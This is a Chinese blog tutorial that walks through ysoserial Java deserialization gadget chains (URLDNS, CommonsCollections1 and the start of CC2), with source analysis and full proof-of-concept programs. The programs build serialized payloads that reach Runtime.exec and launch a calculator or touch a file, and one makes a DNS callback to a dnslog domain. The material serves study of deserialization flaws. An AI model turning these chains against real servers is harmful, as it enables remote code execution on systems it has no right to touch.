本文主要是介绍yso gadget分析(1),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
前言:
https://www.yuque.com/yq1ng/java/gg8kxx
URLDNS
从JAVA反序列化RCE的三要素(readobject反序列化利用点 + 利用链 + RCE触发点)来说,是通过(readobject反序列化利用点 + DNS查询)来确认readobject反序列化利用点的存在。
ysoserial payload生成命令:java -jar ysoserial.jar URLDNS "自己能够查询DNS记录的域名"
(这里可以使用ceye做DNS查询)
通常使用此 gadget 的目的:
- 一是探测目标是否存在反序列化漏洞,因为本 gadget 不依赖任何第三方库;
- 二是可以确定目标机器是否可以出网。
先编一个 URLDNS 的利用连,后面再去分析 ysoserial 是怎么生成这个 payload 的。
package yso;import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;public class URLDNS {public static void main(String[] args) throws Exception {// new一个 HashMap 出来,这是此 gadget 的起点;然后设置需要访问的 urlHashMap hashMap = new HashMap();URL url = new URL("http://ks00e0.dnslog.cn");// 将URL私有的 hashCode 字段设置为可以更改Field field = Class.forName("java.net.URL").getDeclaredField("hashCode");field.setAccessible(true);//**以下的蜜汁操作是为了不在put中触发URLDNS查询,如果不这么写就会触发两次(之后会解释)**// 设置url的hashCode字段为0x123(此值随意)field.set(url, 0x123);// 将url键值存入 hashMap,右边参数随便写hashMap.put(url, "lili");// 修改url的hashCode字段为-1,为了触发DNS查询(之后会解释)field.set(url, -1);// 序列化,写入文件(模拟网络传输ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./out.ser"));outputStream.writeObject(hashMap);outputStream.close();// 读取文件,进行反序列化触发payloadObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./out.ser"));inputStream.readObject();inputStream.close();}
}
运行后,dnslog接收到请求
我们知道java反序列化的执行入口就是readObject方法,而我们最外层的包装就是HashMap,那么这个链自然是从HashMap的readObject
开始的
调试:
利用链是从 HashMap 开始的,搜索类名:HashMap
HashMap 的作用:将一个键值对的二维数组转为一维数组,一维数组的下标为 hash(key) 。
java.util.HashMap#writeObject 分为三个步骤进行序列化:
1.序列化写入一维数组的长度(不是特别确定,但是这个值在反序列化中是不使用的,所以不太重要);
2.序列化写入键值对的个数;
3.序列化写入键值对的键和值;
然后直接来到 readObject(),看主要利用代码
private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException {// 布拉不拉一大堆//读取一维数组长度,不处理//读取键值对个数 mappings//处理其他操作并初始化//遍历反序列化分辨读取key和valuefor (int i = 0; i < mappings; i++) {@SuppressWarnings("unchecked")K key = (K) s.readObject();@SuppressWarnings("unchecked")V value = (V) s.readObject();// 注意此处计算hash,跟进putVal(hash(key), key, value, false, false);}
}
putVal是往HashMap中放入键值对的方法,上面也说到在放入时会计算key的hash作为转化为数组位置i的映射依据。
而DNS查询正是在计算URL类的对象的hash的过程中触发的,即hash(key)。
static final int hash(Object key) {int h;// 继续跟,但是再直接点就进不去了,打个断点跟进去return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);}
传入的key是一个URL对象,不同对象的hash计算方法是在各自的类中实现的,这里key.hashCode()调用URL类中的hashCode方法。
//java.net.URL.javatransient URLStreamHandler handler; //这个URL传输实现类是一个transient临时类型,它不会被反序列化(之后会用到)private int hashCode = -1;//hashCode是private类型,需要手动开放控制权才可以修改。//...巴拉巴拉
public synchronized int hashCode() {
// 判断如果当前对象中的hashCode不为默认值-1的话,就直接返回//意思就是如果以前算过了就别再算了if (hashCode != -1)return hashCode;//当 hashCode == -1 时才会计算 key 的 hash,这就解释了 poc 中这一句代码:field.set(url, -1);//如果没算过,就调用当前URL类的URL传输实现类去计算hashcodehashCode = handler.hashCode(this);return hashCode;}
继续往下看,进入 handler.hashCode(this)
//java.net.URLStreamHandler#hashCode//此处传入的URL为我们自主写入的接受DNS查询的URL
protected int hashCode(URL u) {int h = 0;//计算的hash结果//使用url的协议部分,计算hashString protocol = u.getProtocol();if (protocol != null)h += protocol.hashCode();//通过url获取目标IP地址,再计算hash拼接进入InetAddress addr = getHostAddress(u);if (addr != null) {h += addr.hashCode();} else {//如果没有获取到,就直接把域名计算hash拼接进入String host = u.getHost();if (host != null)h += host.toLowerCase().hashCode();}//...
getHostAddress(u)
语句:通过我们提供的URL地址去获取对应的IP。
跟进看到调用的是URL.java 的 getHostAddress方法
继续跟进
762 行就是根据主机名获取其 ip
如果继续跟进去以后可以发现这一段,如果 host 是 IP 那么程序将不必继续下去
(因此 URL 要传入一个域名而不能是一个IP,IP不会触发DNS查询)
为啥不能直接把URL对象put进去hashmap就好了?反而要设置成别的随意值再设置回来?
// 设置url的hashCode字段为0x123(此值随意)field.set(url, 0x123);// 将url键值存入 hashMap,右边参数随便写hashMap.put(url, "lili");// 修改url的hashCode字段为-1,为了触发DNS查询(之后会解释)field.set(url, -1);
看一下 java.util.HashMap#put
public V put(K key, V value) {return putVal(hash(key), key, value, false, true);
}
可以发现put里面的语句跟我们之前看到的会触发DNS查询的语句一模一样,同时URL对象再初始化之后的hashCode默认为-1。
也就是说在我们生成payload的过程中,如果不做任何修改就直接把URL对象放入HashMap是在本地触发一次DNS查询的。
如果不设置 hashCode 不为 -1 的话,那么存入 hashMap 的时候就会触发一次 hash(key),也就是本地生成 poc 会执行一次 DNS请求,这会对我们的判断造成影响,所以要先设置其不为 -1 ,存入 hashMap 以后再将其变回来,这样只会执行一次 DNS 了。
注:不能使用ip+端口进行回显,因为此处功能为DNS查询,ip+端口不属于DNS查询。同时在代码底层对于ip的情况做了限制,不会进行DNS查询。
如果把field.set(url, 0x123);这句注释掉
这时候hashCode默认为-1,然后就会进入hash(key)触发DNS查询。这就会混淆是你本地的查询还是对方机器的查询的DNS。在put之前修改个hashCode,就可以避免触发。
而在put了之后:
1、如果之前没有field.set(url, 0x123);修改hashCode,就会完成DNS查询的同时,计算出hashCode,从而修改成不为-1的值。这个hashcode会被序列化传输,到对方机器时就会因为不是-1而跳过DNS查询流程
2、如果之前修改了hashCode,那自然也会直接被序列化传输,不是-1也会跳过DNS查询流程。
所以需要field.set(url, -1);把这个字段改回来-1。
梳理:
仔细看一下可以知道最终的payload结构是 一个HashMap,里面包含了 一个修改了HashCode值为-1的URL类
总结以上反序列化过程,我们可以得出要成功完成反序列化过程触发DNS请求,payload需要满足以下2个条件:
1、HashMap对象中有一个key为URL对象的键值对
2、这个URL对象的hashcode需要为-1
//JDK1.8下的调用链:
1. HashMap->readObject()
2. HashMap->hash()
3. URL->hashCode()
4. URLStreamHandler->hashCode()
5. URLStreamHandler->getHostAddress()
6. InetAddress->getByName()
分析:
ysoserial 的代码,部分注释删了
public class URLDNS implements ObjectPayload<Object> {public Object getObject(final String url) throws Exception {//SilentURLStreamHandler 是一个自主写的避免生成payload的时候形成URL查询的操作。//用这种操作的前提是URL对象的handler属性是transient类型;//这代表我们自主写的操作不会被写入反序列化的代码中,不会对结果造成影响。URLStreamHandler handler = new SilentURLStreamHandler();HashMap ht = new HashMap(); // HashMap that will contain the URL//把SilentURLStreamHandler这个handler传入进去URL u = new URL(null, url, handler); // URL to use as the Key//URL作为key值和HashMap(此处的value值是可以随便设置的,这里设置为url)ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.return ht;}public static void main(final String[] args) throws Exception {PayloadRunner.run(URLDNS.class, args);}static class SilentURLStreamHandler extends URLStreamHandler {protected URLConnection openConnection(URL u) throws IOException {return null;}protected synchronized InetAddress getHostAddress(URL u) {return null;}}
}
它代码中没有使用 field.set(url, 0x123);
,但是自定了一个类为 SilentURLStreamHandler,这个类继承URLStreamHandler重写了getHostAddress() 函数,重写后的 getHostAddress() 是个空的,也就导致在本地生成 poc 的时候不会有 DNS 请求了
内容-基础向:https://www.anquanke.com/post/id/201762
1、在IDEA中JAR的三种调试方式
2、Ysoserial工具中URLDNS模块的原理分析
3、POC代码以及Ysoserial的源码分析
CommonsCollections 1
环境要求:
Jdk 7
commons-collections:3.1
jdk7 源码下载
jdk7 下载
commons-collections:3.1 用maven添加就好
<dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.2.1</version>
</dependency>
反序列化所需类:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap
挨个认识一下
lazymap
LazyMap
简介:修饰另一个 map,当调用 map 中不存在的 key 时使用工厂创建对象。
package yso;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.lang3.StringUtils;import java.util.HashMap;
import java.util.Map;public class TestLazyMap {public static void main(String[] args) {// 定义处理不存在 key 的情况,可以是 Transformer 也可以是 ChainedTransformer 链子// 用于反转调用不存在的 key 值final Transformer reverseString = new Transformer() {public Object transform(Object object) {String name = (String) object;String reverse = StringUtils.reverse(name);return reverse;}};Map names = new HashMap();// 将处理链传给 lazyMapMap lazyMap = LazyMap.decorate(names, reverseString);// lazyMap 为空,测试调用不存在 keyString name = (String) lazyMap.get("lili");System.out.println("name:" + name);// put 一个键值lazyMap.put("lili", "TestLazyMap");// key 存在,不进入处理链name = (String) lazyMap.get("lili");System.out.println("name:" + name);}
}
可以看到 LazyMap.decorate(Map map, Transformer factory) 的 factory 是可以被控制的,而 Transformer 是一个接口,看看其实现有哪些
TransformedMap
这里使用的是decorate方法,
参数是两个对象,对象为实现了Transformer 接口的类
简言之作用就是用来修饰map的 ,当被修饰的map被添加新元素时会分别触发这两个对象的transform 的方法(回掉),一个是key,另一个是value
运行结果 被修饰的map 会分别调用实现了Transformer 接口的 Test、Test2的transformer方法。 transformer参数为key 或者 value, 返回值也就是修饰之后的值
也就是说通过Transformer 修饰的map 在添加元素时可以调用任意transformer方法
之后只关注类的transformer方法 即可
ConstantTransformer
ConstantTransformer
简介:当调用其 transform 方法时,它将返回构造时传入的 对象
举例:
InvokerTransformer
InvokerTransformer
调用输入对象的一个方法, 并且参数可控
简介:初始化此类后,调用 transform 方法将通过反射创建对象实例
实例化需传入三个参数:
● 第⼀个参数是待执⾏的⽅法名
● 第⼆个参数是这个函数的参数列表的参数类型
● 第三个参数是传给这个函数的参数列表
//源码/*** Constructor that performs no validation.* Use <code>getInstance</code> if you want that.* * @param methodName the method to call* @param paramTypes the constructor parameter types, not cloned* @param args the constructor arguments, not cloned*/public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {super();iMethodName = methodName;iParamTypes = paramTypes;iArgs = args;}/*** Transforms the input to result by invoking a method on the input.* * @param input the input object to transform* @return the transformed result, null if null input*/public Object transform(Object input) {if (input == null) {return null;}try {Class cls = input.getClass();Method method = cls.getMethod(iMethodName, iParamTypes);return method.invoke(input, iArgs);} catch (NoSuchMethodException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");} catch (IllegalAccessException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");} catch (InvocationTargetException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);}}
没有什么限制,妥妥的 rce 执行点,这也是本 gadget 的终点,来个例子看看
package yso;import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;
import java.util.Map;public class TestInvokerTransformer {public static void main(String[] args) {HashMap hashMap = new HashMap();// 这里使用 LazyMap 是不行的,因为他继承的是 AbstractMapDecorator// 其 put 就是简单的 map.put,没有其他操作,这也和 LazyMap 的名字很像,懒 MapLazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}));lazyMap.put(Runtime.getRuntime(), "yq1ng");// 需要使用 TransformedMap,在调用 put 时会修饰 key 和 value// 而 map 的修饰我们已经定义好了,弹出计算器Map map = TransformedMap.decorate(hashMap,new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),null);map.put(Runtime.getRuntime(), "yq1ng");}
}
ChainedTransformer
ChainedTransformer
简介:将各个 Transformer 连接在一起,使用上一个 Transformer 的结果作为下一个 Transformer 的输入
代码也很简单,依次调用传入 Transformer 的 transform
ChainedTransformer 的作用是将内部的 iTransformers 按顺序都调用一遍
例子;
package yso;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;
import java.util.Map;public class Index {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.getRuntime()),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})};Transformer transformerChain = new ChainedTransformer(transformers);Map innerMap = new HashMap();Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);outerMap.put("a","b");}
}
简单分析⬆️利用过程:
1、将构造好的ConstantTransformer 、 InvokerTransformer添加到itransformers中
2、将构造好的 transformerChain放入 TransformedMap.decorate
3、在put的时候调用transformerChain.transform
4、调用ConstantTransformer.transform(“b”),返回Runtime类
5、调用InvokerTransformer.transform(Runtime)
进入就会执行构造的方法
这里就执行了 exec 方法
例子2:
动态代理劫持
如果不会动态代理的话可以先看看这个:java动态代理实现与原理详细分析
代理有点像 PHP 的 __call 方法
首先需要了解的是一种常用的java设计模式 ---- 代理模式,而对于代理,根据创建代理类的时间点,又可以分为静态代理和动态代理。
代理模式特征:
代理类与委托类有同样的接口,代理类主要负责为委托类预处理消息、过滤消息、把消息转发给委托类,以及事后处理消息等。
代理类与委托类之间通常会存在关联关系,一个代理类的对象与一个委托类的对象关联,代理类的对象本身并不真正实现服务,而是通过调用委托类的对象的相关方法,来提供特定的服务。
简单的说就是,我们在访问实际对象时,是通过代理对象来访问的,代理模式就是在访问实际对象时引入一定程度的间接性,因为这种间接性,可以附加多种用途。
1、静态代理
由程序员创建或特定工具自动生成源代码,也就是在编译时就已经将接口,被代理类,代理类等确定下来。在程序运行之前,代理类的.class文件就已经生成。
2、动态代理
代理类在程序运行时创建的代理方式被成为动态代理。
举例:(运行以后发现并未获得 flag ,博主说这样就实现了一个代理劫持,我不太理解是怎样)
gadget
上面是能成功利用了,但是不可能让你直接使用 put 的,所以需要另辟蹊径。
1、ysoserial
ysoserial 使用的是 org/apache/commons/collections/map/LazyMap.java#get()
,
//巴拉巴拉
protected final Transformer factory;
//巴拉巴拉
public Object get(Object key) {if (!super.map.containsKey(key)) {Object value = this.factory.transform(key);super.map.put(key, value);return value;} else {return super.map.get(key);}
}
上面也提到过,LazyMap.get() 在找不到值的时候会调用 factory.transform,也就是经过处理链,那么只需要找到一个能 直接/间接 执行这个方法的类就好了。结果寻找到 rt.jar!/sun/reflect/annotation/AnnotationInvocationHandler.class#invoke()
直接调用了 get()
// class AnnotationInvocationHandler implements InvocationHandler, Serializable {AnnotationInvocationHandler(Class<? extends Annotation> paramClass, Map<String, Object> paramMap) {Class[] arrayOfClass = paramClass.getInterfaces();if (!paramClass.isAnnotation() || arrayOfClass.length != 1 || arrayOfClass[false] != Annotation.class)throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); this.type = paramClass;this.memberValues = paramMap;
}public Object invoke(Object paramObject, Method paramMethod, Object[] paramArrayOfObject) {String str = paramMethod.getName();Class[] arrayOfClass = paramMethod.getParameterTypes();if (str.equals("equals") && arrayOfClass.length == 1 && arrayOfClass[false] == Object.class)return equalsImpl(paramArrayOfObject[0]); if (arrayOfClass.length != 0)throw new AssertionError("Too many parameters for an annotation method"); switch (str) {case "toString":return toStringImpl();case "hashCode":return Integer.valueOf(hashCodeImpl());case "annotationType":return this.type;}Object object = this.memberValues.get(str); // <--- 这里调用了 get, 而且 memberValues 也是 Map 类型, 可以把 LazyMap 放在这里if (object == null)throw new IncompleteAnnotationException(this.type, str); if (object instanceof ExceptionProxy)throw ((ExceptionProxy)object).generateException(); if (object.getClass().isArray() && Array.getLength(object) != 0)object = cloneArray(object); return object;
}
exp1:
package demo.rmb122;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;public class CommonsCollections1 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(java.lang.Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"/bin/touch", "/dev/shm/rmb122_pwned_1"}}),};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Constructor constructor = Class.forName("org.apache.commons.collections.map.LazyMap").getDeclaredConstructor(Map.class, Transformer.class);constructor.setAccessible(true);HashMap hashMap = new HashMap<String, String>();Object lazyMap = constructor.newInstance(hashMap, chainedTransformer);constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);// 因为构造方法不是 public, 只能通过反射构造出来constructor.setAccessible(true);InvocationHandler invo = (InvocationHandler) constructor.newInstance(Deprecated.class, lazyMap);Object proxy = Proxy.newProxyInstance(invo.getClass().getClassLoader(), new Class[]{Map.class}, invo);constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true);Object obj = constructor.newInstance(Deprecated.class, proxy);ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));oos.writeObject(obj);}
}
那谁又去调用 AnnotationInvocationHandler.invoke() 呢?
ysoserial 使用的是 动态代理:Proxy.newProxyInstance() ,可以把它想象成 PHP 的 __call()。
注意 AnnotationInvocationHandler 也是一个 InvocationHandler ,也就是如果将这个对象进行代理,那么在 readObject() 的时候调用任意方法就会进到 invoke() 里面。
代理可以这么写:
// 获取 AnnotationInvocationHandler 私有构造器并取消Java访问安全检查Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);handler_constructor.setAccessible(true);// 创建 map 代理 handlerInvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map);// 创建 map 代理,劫持调用 map 时将数据经过处理链 chainMap proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler);
此时还不能序列化,因为这时候还是直走到 invoke() ,需要再次代理一下,对这个 invoke() 进行包装,使得在反序列化的时候调用到它
// 获取 AnnotationInvocationHandler 私有构造器并取消Java访问安全检查Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);AnnotationInvocationHandler_Constructor.setAccessible(true);// 为了在反序列化(readObject)的时候调用 AnnotationInvocationHandler 的 invoke 方法,再次代理 AnnotationInvocationHandlerInvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);
做完上面这些这还不够,由于 Runtime 没有实现 Serializable 接口,所以上面的还是不能直接用,需要将 Runtime.getRuntime() 改为 Runtime.class,因为所有的 Class 类都实现了 Serializable 接口。
其他的细节见下面 poc 的注释
poc:
package com.yq1ng.cc1;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;/*** @author ying* @Description* @create 2021-10-19 22:55*/public class cc1 {public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {// 创建处理链ChainedTransformer chain = new ChainedTransformer(new Transformer[] {// 返回 Runtime 类new ConstantTransformer(Runtime.class),// 上面返回的是一个 Class,所以需要反射获取其方法,相当于 (Runtime.class).getMethod("getRuntime",null)/*new Class[0] 就是传一个长度为1的Class数组过去,内容为null。new Class[0] 表示有零个元素的Class数组,即空数组,与传入null结果是一样的,都表示取得无参构造方法。为什么不直接传入null?防止后面代码有 for(Object o : args) 报错抛出 NullPointerException 空指针异常*/new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),// 这一步相当于 ((Runtime.class).getMethod("getRuntime",null)).invoke(null,null)/*解释一下 invoke对Method实例调用invoke就相当于调用该方法,invoke的第一个参数是对象实例,第二个为方法参数前面一步 (Runtime.class).getMethod("getRuntime",null) 返回的是一个 Method 包装后的 getRuntime 方法,并不是 Runtime 对象,这个方法是空参数,所以不需要去传入对象实例,也不需要传入参数*/new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),// 到这就是 (((Runtime.class).getMethod("getRuntime",null)).invoke(null,null)).exec("calc")// 上面一步 invoke 后就返回了 Runtime 对象,所以这里就可以用 exec 了new InvokerTransformer("exec",new Class[] { String.class }, new Object[]{"calc"})});// 将处理链塞进 mapHashMap innermap = new HashMap();LazyMap map = (LazyMap) LazyMap.decorate(innermap, chain);// 获取 AnnotationInvocationHandler 私有构造器并取消Java访问安全检查Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);handler_constructor.setAccessible(true);// 创建 map 代理 handlerInvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map);// 创建 map 代理,劫持调用 map 时将数据经过处理链 chainMap proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler);// 获取 AnnotationInvocationHandler 私有构造器并取消Java访问安全检查Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);AnnotationInvocationHandler_Constructor.setAccessible(true);// 为了在反序列化(readObject)的时候调用 AnnotationInvocationHandler 的 invoke 方法,再次代理 AnnotationInvocationHandlerInvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);try{// 写文件,模拟网络传输ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./src/main/java/com/yq1ng/cc1/cc1.ser"));outputStream.writeObject(handler);outputStream.close();// 读文件,模拟网络读取ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./src/main/java/com/yq1ng/cc1/cc1.ser"));inputStream.readObject();}catch(Exception e){e.printStackTrace();}}
}
运行以后可以发现弹出了计算器,但是如果你去调试的话在反序列化之前就会弹出计算器,当调试过了 劫持 map 调用 的那句代码后就会弹出计算器,是因为 idea 要处理每个变量数据展示出来导致执行了 map.toString() 经过了处理链弹出计算器。
2、AnnotationInvocationHandler.class
要想能够执行 ,就必须有put操作 而且是位于readObject 方法里才能触发。
在rt.jar!/sun/reflect/annotation/AnnotationInvocationHandler.class中readObject
实现如下:
memberValues就是反序列化后得到的Map,也是经过了TransformedMap修饰的对象,这⾥遍历了它 的所有元素,并依次设置值
。
这样就会触发。
因此需要把构造好的放入AnnotationInvocationHandler 因为类无法直接调用, 所以需要通过反射来获取。
Class clas = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = clas.getDeclaredConstructor(Class.class,Map.class);constructor.setAccessible(true);Object obj = constructor.newInstance(Retention.class, outerMap);
/** outerMap 为构造好的map */
又因为Runtime不可被序列化(可通过反射来解决) 以及如下原因(具体不分析了
最终反序列化payload:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
//import sun.reflect.annotation.AnnotationInvocationHandler;public class Index {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),};Transformer transformerChain = new ChainedTransformer(transformers);Map innerMap = new HashMap();innerMap.put("value", "xxxx"); // 第一个值必须为valueMap outerMap = TransformedMap.decorate(innerMap, null, transformerChain);HashMap hashMap = new HashMap();Class clas = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = clas.getDeclaredConstructor(Class.class,Map.class);constructor.setAccessible(true);Object obj = constructor.newInstance(Retention.class, outerMap);ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); //写入文件的话需要用FileOutputStreamObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);objectOutputStream.writeObject(obj);objectOutputStream.close();ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);objectInputStream.readObject();objectInputStream.close();}
}
没弹出来,不知道为啥,迷迷糊糊的
CC2
环境
jdk8U202
<dependency><groupId>javassist</groupId><artifactId>javassist</artifactId><version>3.12.1.GA</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-collections4 -->
<dependency><groupId>org.apache.commons</groupId><artifactId>commons-collections4</artifactId><version>4.1</version>
</dependency>
PriorityQueue
Queue是一个FIFO(先进先出),但是现在有很多业务都是带VIP服务的,尊贵的VIP怎么可以等待?摇号结束下一位就要是它。
PriorityQueue 此时闪亮登场,相当于代理了 Queue,有一个增强服务,如果有VIP来了那么先让VIP去办理业务。
常用方法:
PriorityQueue链分析
java/util/PriorityQueue.java#readObject()
,发现会对传入的 ObjectInputStream 进行反序列化,并赋值给 queue[i]
这里的 queue[i] 是 readObject() 得到的,也就是说会在 writeObject()写入内容
可以通过反射,控制 queue[i] 写入恶意内容,在反序列化的时候触发。继续跟 readObject() 的最后一句 heapify()
PriorityQueue readObject 时, 在读取完对象后, 会调用 heapify 来进行排序, 而排序方法是可以自定义的 (利用 Comparator 接口), 配合上 TransformingComparator(实现类)
这里想要进入循环需要 size > 1 ,size是 queue 的个数,那么在反射后加上两个值就行
java/util/PriorityQueue.java#heapify()
//The number of elements in the priority queue.private int size = 0;//巴拉巴拉/*** Establishes the heap invariant (described above) in the entire tree,* assuming nothing about the order of the elements prior to the call.*/@SuppressWarnings("unchecked")private void heapify() {for (int i = (size >>> 1) - 1; i >= 0; i--)siftDown(i, (E) queue[i]);}
继续跟进 siftDown()
private void siftDown(int k, E x) {if (comparator != null)siftDownUsingComparator(k, x);elsesiftDownComparable(k, x);}
继续跟进siftDownUsingComparator()
x 是我们上面设置的恶意内容。
跟踪 Comparator 可知其是一个接口,找一下实现类
public class TransformingComparator implements Comparator {
在排序时会先 transform 一下, 再结合喜闻乐见的 InvokeTransfer, 导致 RCE
看到了老朋友,用cc1就可以触发了
package yso;import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.*;
import java.util.PriorityQueue;public class CC2 {public static void main(String[] args) {ChainedTransformer chain = new ChainedTransformer(new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, new Object[0]}),new InvokerTransformer("exec",new Class[]{String.class},new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}));TransformingComparator comparator = new TransformingComparator(chain);PriorityQueue queue = new PriorityQueue(1, comparator);queue.add(1);queue.add(2);try {ByteArrayOutputStream bos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("./cc2test.txt"));oos.writeObject(queue);oos.close();System.out.println(bos.toString());ObjectInputStream ois = new ObjectInputStream(new FileInputStream("./cc2test.txt"));ois.close();} catch (FileNotFoundException e) {e.printStackTrace();} catch (IOException e) {e.printStackTrace();}}
}
运行后弹了两个计算器,但是并未生成cc2test文件,抛出的异常在queue.add(2);
debug 起来
注意下图
这里需要这个函数的返回值 <0才不会break,继续跟进去
这里执行了两次恶意链,所以弹了两个计算器。
既然直接传入恶意 comparator 会在生成poc 的时候直接执行,那么就先不传comparator的,也就是comparator==null,那么siftUp()就会进入第二个函数,siftUpComparable()
